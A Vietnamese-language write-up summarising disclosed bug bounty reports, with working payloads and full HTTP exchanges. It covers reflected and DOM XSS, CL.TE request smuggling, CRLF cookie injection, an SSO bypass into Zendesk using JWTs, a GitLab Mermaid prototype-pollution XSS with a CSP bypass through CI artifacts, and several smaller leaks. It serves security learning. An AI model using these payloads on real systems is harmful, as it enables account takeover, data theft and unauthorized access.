Reflected XSS at https://██████/

Tồn tại lỗ hổng reflected XSS ở endpoint sau:

https://████/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)

Decode:

https://████/logout_redirect.do?sysparm_url=//j\\javascript:alert(document.domain)
Có thể thấy, attacker sử dụng `//j\\javascript` để bypass các filter của server.

HTTP Request Smuggling

Attacker tìm thấy lỗ hổng HTTP Request Smuggling (biến thể CL.TE) ở domain console.helium.com thông qua request sau:

POST /api/sessions HTTP/1.1
Host: console.helium.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://console.helium.com/login
Content-Type: application/json
Content-Length: 109
DNT: 1
Connection: close
Cookie: __cfduid=dc0212a0b1dcc0fe5853ef4e6b6d669ff1588840067; amplitude_id_2b23c37c10c54590bf3f2ba705df0be6helium.com=eyJkZXZpY2VJZCI6ImJmZDVjNzFmLWVhMWUtNDlmZi1hZGYyLTNlYWY3OTBjNmU3YlIiLCJ1c2VySWQiOm51bGwsIm9wdE91dCI6ZmFsc2UsInNlc3Npb25JZCI6MTU4ODg0MDA3NzA2MiwibGFzdEV2ZW50VGltZSI6MTU4ODg0MTg5MDk3NiwiZXZlbnRJZCI6NywiaWRlbnRpZnlJZCI6Miwic2VxdWVuY2VOdW1iZXIiOjl9
Transfer-Encoding: chunked
 
39
{"session":{"email":"fdsfsd@fgd.jk","password":"sdfsdf"}}
00
 
GET / HTTP/1.1
Host: www.helium.com
foo: x
 
 

Bằng cách gửi request này 2 lần, response của lần thứ 2 sẽ là response đến www.helium.com.

Trong ảnh trên, attacker sử dụng Turbo Intruder để gửi request nhiều lần. Ta thấy rằng các response với status code là 401 và 200 xuất hiện xen kẽ nhau.

CRLF Injection

Lỗ hổng này xảy ra khi attacker inject CRLF vào request gửi đến ứng dụng. Tùy thuộc vào ứng dụng mà mức độ impact sẽ khác nhau. Một trong số những impact là chuỗi CRLF được thêm vào trong response, dẫn đến lỗ hổng response splitting và có thể khiến cho attacker inject vào nội dung tùy ý trong response chẳng hạn như:

HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
Content-Length: 999
 
<html>malicious content...</html> (to 999th character in this example)
Original content starting with character 1000, which is now ignored by the web browser...
[CRLF Injection | OWASP Foundation](https://owasp.org/www-community/vulnerabilities/CRLF_Injection)

Trong report này, attacker tìm thấy lỗ hổng ở endpoint sau:

http://greenhouse.io/%0d%0aSet-Cookie:test=test;domain=.greenhouse.io

Response có dạng như sau:

Location: http://www.greenhouse.io/
Set-Cookie:test=test;domain=.greenhouse.io

Có thể thấy, attacker đã có thể set cookie cho wildcard .greenhouse.io trong response trả về.

Mặc dù là một valid bug nhưng do vấn đề liên quan đến dịch vụ redirect của DNS provider (của bên thứ 3) nên program không trả bounty cho finding này.

Email PII Disclosure due to Insecure Password Reset Field

Attacker tìm thấy bug cho phép leak sensitive email address (của quân đội và các trường đại học) thông qua một trường dùng để reset nếu ta biết chính xác username. Do không triển khai rate-limiting, attacker có thể brute-force danh sách các username và thu được danh sách các email. Thông thường, chức năng reset email không được tiết lộ email của người dùng.

Đây là một bug do chưa vá được bug U.S. Dept Of Defense | Report #235041 - Sensitive Email disclosure Due to Insecure Reactivate Account field | HackerOne.

SSO Bypass in Zendesk Using Trint Organization Able to Leak Internal Ticket Information

Attacker có thể đăng ký tài khoản với email *@trint.com (email domain thuộc về tổ chức của program) ở trên domain app.trint.com mà không cần xác thực email. Dẫn đến, attacker có thể claim email này và thực hiện đăng nhập vào Zendesk của program thông qua SSO login.

Cụ thể hơn, sau khi đăng ký tài khoản thì có một request gửi đến https://graphql2.trint.com/ để lấy token đăng nhập vào Zendesk:

POST / HTTP/1.1
Host: graphql2.trint.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://app.trint.com/
content-type: application/json
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJodHRwczovL2FwcC50cmludC5jb20vdXNlcklkIjoiNWRjOTUwZWEzOGFhMjI3MmExNzAyMzFkIiwiaHR0cHM6Ly9hcHAudHJpbnQuY29tL2lzTmV3VXNlciI6dHJ1ZSwiaHR0cHM6Ly9zY2hlbWEudHJpbnQuY29tL2F1dGhqdGkiOiI0ZmMwMjUyZS03NTFiLTQwNjctOWU0MC00OGQ4MWMzMjRiMjIiLCJpc3MiOiJodHRwczovL3RyaW50LmF1dGgwLmNvbS8iLCJzdWIiOiJhdXRoMHw1ZGM5NTBlYTM4YWEyMjcyYTE3MDIzMWQiLCJhdWQiOiJ0cmludC1hcGlzIiwiaWF0IjoxNTczNDc0NTQyLCJleHAiOjE1NzYwNjY1NDIsImF6cCI6ImljaDRoeVZZUEtLZ2VFb1RoNmZXUFhjNmZydmVUY1RxIiwiZ3R5IjoicGFzc3dvcmQifQ.JyIc6PZyjidptrvaFT6MykOr0BopUi1F7fZWTvbeKeU
X-Trint-Request-Id: 4b2f23d5-98a3-4571-a9e1-4218cca76e1b
X-Trint-Super-Properties: {}
Origin: https://app.trint.com
Content-Length: 111
Connection: close
 
{"operationName":null,"variables":{"status":"PENDING"},"query":"query zendeskToken {\n    zendeskToken\n  }\n"}

Response:

HTTP/1.1 200 OK
Date: Mon, 11 Nov 2019 12:17:06 GMT
Content-Type: application/json
Content-Length: 272
Connection: close
X-Powered-By: Express
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
 
{"data":{"zendeskToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE1NzM0NzQ2MjYsImp0aSI6IjcwOWM2Njg3LWI3OWUtNDI2ZC04MjJhLWVkYTUyYzM3ZDAyYyIsIm5hbWUiOiJzZGFkc2FzZGEgYXNkc2FkYXMiLCJlbWFpbCI6InN1cHBvcnQrMUB0cmludC5jb20ifQ.G8VnRzcF5vkDl4X36_-olJNjtdawMn5G0KaL0FHPdQM"}}

Attacker tạo ra URL sau để truy cập vào Zendesk instance của program:

https://trintsupport.zendesk.com/access/jwt?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE1NzM0NzQ2MjYsImp0aSI6IjcwOWM2Njg3LWI3OWUtNDI2ZC04MjJhLWVkYTUyYzM3ZDAyYyIsIm5hbWUiOiJzZGFkc2FzZGEgYXNkc2FkYXMiLCJlbWFpbCI6InN1cHBvcnQrMUB0cmludC5jb20ifQ.G8VnRzcF5vkDl4X36_-olJNjtdawMn5G0KaL0FHPdQM

Có thể thấy, param jwt có giá trị là zendeskToken nhận được.

Truy cập vào URL này và attacker có thể đăng nhập với email mà họ đã đăng ký (ví dụ support+1@trint.com). Impact là attacker có thể read được các ticket trong tổ chức của program.

Stored XSS via Mermaid Prototype Pollution Vulnerability

GitLab hỗ trợ sử dụng Mermaid để vẽ sơ đồ và kể từ phiên bản 8.6.0 thì Mermaid hỗ trợ cú pháp khai báo directive “ giúp chỉnh sửa style cho các sơ đồ. Thực chất, thư viện sẽ lấy JSON_OBJECT và merge nó vào config object. Sau đó, config object sẽ được dùng để tạo CSS:

let userStyles = '';
// user provided theme CSS
if (cnf.themeCSS !== undefined) {
userStyles += `\n${cnf.themeCSS}`;
}
// user provided theme CSS
if (cnf.fontFamily !== undefined) {
userStyles += `\n:root { --mermaid-font-family: ${cnf.fontFamily}}`;
}
// user provided theme CSS
if (cnf.altFontFamily !== undefined) {
userStyles += `\n:root { --mermaid-alt-font-family: ${cnf.altFontFamily}}`;
}

Ngoài ra, nó cũng chèn CSS vào thẻ <style> của DOM thông qua innerHTML:

const stylis = new Stylis();
const rules = stylis(`#${id}`, getStyles(graphType, userStyles, cnf.themeVariables));
 
const style1 = document.createElement('style');
style1.innerHTML = rules;
svg.insertBefore(style1, firstChild);

Tuy nhiên tại thời điểm này attacker không thể bypass được CSP:

Về root cause, lỗ hổng xảy ra do JSON_OBJECT được merge vào mà không có sanitize. Dẫn đến, attacker có thể inject vào các field độc hại cho toàn bộ các object và khiến cho client-side của ứng dụng bị hỏng hoàn toàn.

Bất kỳ attacker nào tạo issue hoặc comment vào issue và sử dụng payload sau đều có thể làm hỏng trang UI của issue đó:

 
sequenceDiagram
Alice->>Bob: Hi Bob
Bob->>Alice: Hi Alice

Ban đầu bug này có tên là "Client-Side DOS via Mermaid Prototype Pollution vulnerability".

Về sau, attacker nâng cấp bug này lên thành XSS. Cụ thể, payload mà attacker sử dụng là:

 
sequenceDiagram
Alice->>Bob: Hi Bob
Bob->>Alice: Hi Alice

Attacker khi pollute template attribute thì sẽ được Vue JS sử dụng và tạo ra DOM XSS. Khi victim nhấn vào search bar sau khi UI được loại thì XSS sẽ được trigger.

Giá trị của template được decode ra như sau:

<iframe xmlns=\"http://www.w3.org/1999/xhtml\" srcdoc=\"<script src=https://gitlab.com/bugbountyuser1/csp/-/jobs/1030502035/artifacts/raw/payload.js> </script>\">
Từ payload trên, ta thấy rằng attacker thực hiện HTML encoding cho các ký tự angle brackets bên trong `srcdoc` (có thể là để bypass WAF). Ngoài ra, việc sử dụng chính domain `gitlab.com` có thể là một cách để bypass CSP.
Lỗ hổng trên của Mermaid được fix trong bản 8.9.2: https://github.com/mermaid-js/mermaid/releases/tag/8.9.2

Về cách bypass CSP, attacker mô tả nó trong report 1103258. Đầu tiên, ta cần serve payload ở đâu đó trên domain gitlab.com (đúng như nhận định ở trên, việc làm này là để bypass CSP). Sau đó, ta cần nó có Content-Type trả về là application/javascript và các job artifacts của CI/CD thỏa mãn tiêu chí này (đó là lý do mà URL của script ở trên có chữ “artifacts”).

Cụ thể hơn, attacker sẽ tạo một project và một file JS để thực thi code tên là payload.js:

alert(document.cookie)

Sau đó tạo file .gitllab-ci.yml có nội dung như sau:

js:
  script: "echo test"
  artifacts:
    paths:
    - payload.js
    expire_in: 4 week

File này sẽ trigger GitLab CI để tạo ra job artifact và download link của nó sẽ là:

https://gitlab.com/<user>/csp/-/jobs/<job_id>/artifacts/raw/payload.js

Payload để thực hiện XSS sẽ là:

<iframe xmlns=\"http://www.w3.org/1999/xhtml\" srcdoc=\"&lt;script src=https://gitlab.com/<user>/asdf/-/jobs/<job_id>/artifacts/raw/payload.js&gt; &lt;/script&gt;\">

Payload này giống với payload ở trên.

Do payload được injected vào thẻ <style> và trong thẻ này ta không thể thực thi code. Attacker bypass bằng cách thêm vào thẻ <title> ở trước thì có thể thực thi được code:

 
sequenceDiagram
Alice->>Bob: Hi Bob
Bob->>Alice: Hi Alice

403 Forbidden Bypass at www.██████.mil

Attacker bypass 403 forbidden để truy cập https://www.████████.mil/███████ bằng cách dùng POST request và Content-Length là 0.

DOM XSS on 50x.html Page

Attacker tìm thấy lỗ hổng DOM XSS tại trang https://duckduckgo.com/50x.html. Sink là innerHTML và source là location.search. Bằng cách sử dụng URL sau, attacker có thể tấn công XSS:

https://duckduckgo.com/50x.html?e=&atb=test%22/%3E%3Cimg%20src=x%20onerror=alert(document.domain);%3E

Decode:

https://duckduckgo.com/50x.html?e=&atb=test"/><img src=x onerror=alert(document.domain);>

Đoạn code dính lỗ hổng:

b5.createElement("div")); cg = (m.exec(b7) || ["", ""])[1].toLowerCase(); b4 = R[cg] || R._default; ce.innerHTML = b4[1] + b7.replace(aB, "<$1></$2>") + b4[2]; cb = b4[0]; while (cb--) { ce=ce.lastChild } if(!bI.support.leadingWhitespace&&b2.test(b7))

Bitmoji Source Code is Accessible

Attacker thực hiện subdomain enum và phát hiện URL https://rendering-service.prod.us-east.bitstrips.com/ trả về 403. Tuy nhiên, tồn tại thư mục /WEB-INF/ và thư mục /META-INF/ có bug directory listing. Bên trong 2 thư mục này có chứa các file .class của Bitmoji. Bằng cách sử dụng decompiler chẳng hạn như procyon-decompiler, attacker có thể chuyển thành source code để đọc, dẫn đến lỗ hổng source code leaked.

Lack of Rate Limiting on Account Creation Endpoint

Chức năng tạo tài khoản không có rate limit và impact có thể là:

  • Database overload
  • Server overload
  • Abuse: sử dụng tài khoản giả để spam, phishing, …
Mặc dù report này ban đầu bị đánh là N/A nhưng attacker đã comment và bảo rằng bug này được nhiều công ty chấp nhận và đưa ra 2 report để dẫn chứng: [Courier | Report #905692 - Missing rate limit in signup Form | HackerOne](https://hackerone.com/reports/905692) và [Nextcloud | Report #922470 - No rate limiting on sinup page | HackerOne](https://hackerone.com/reports/922470).
 
Sau một thời gian kiên trì hỏi han tình hình thì staff của program đã chấp nhận bug này.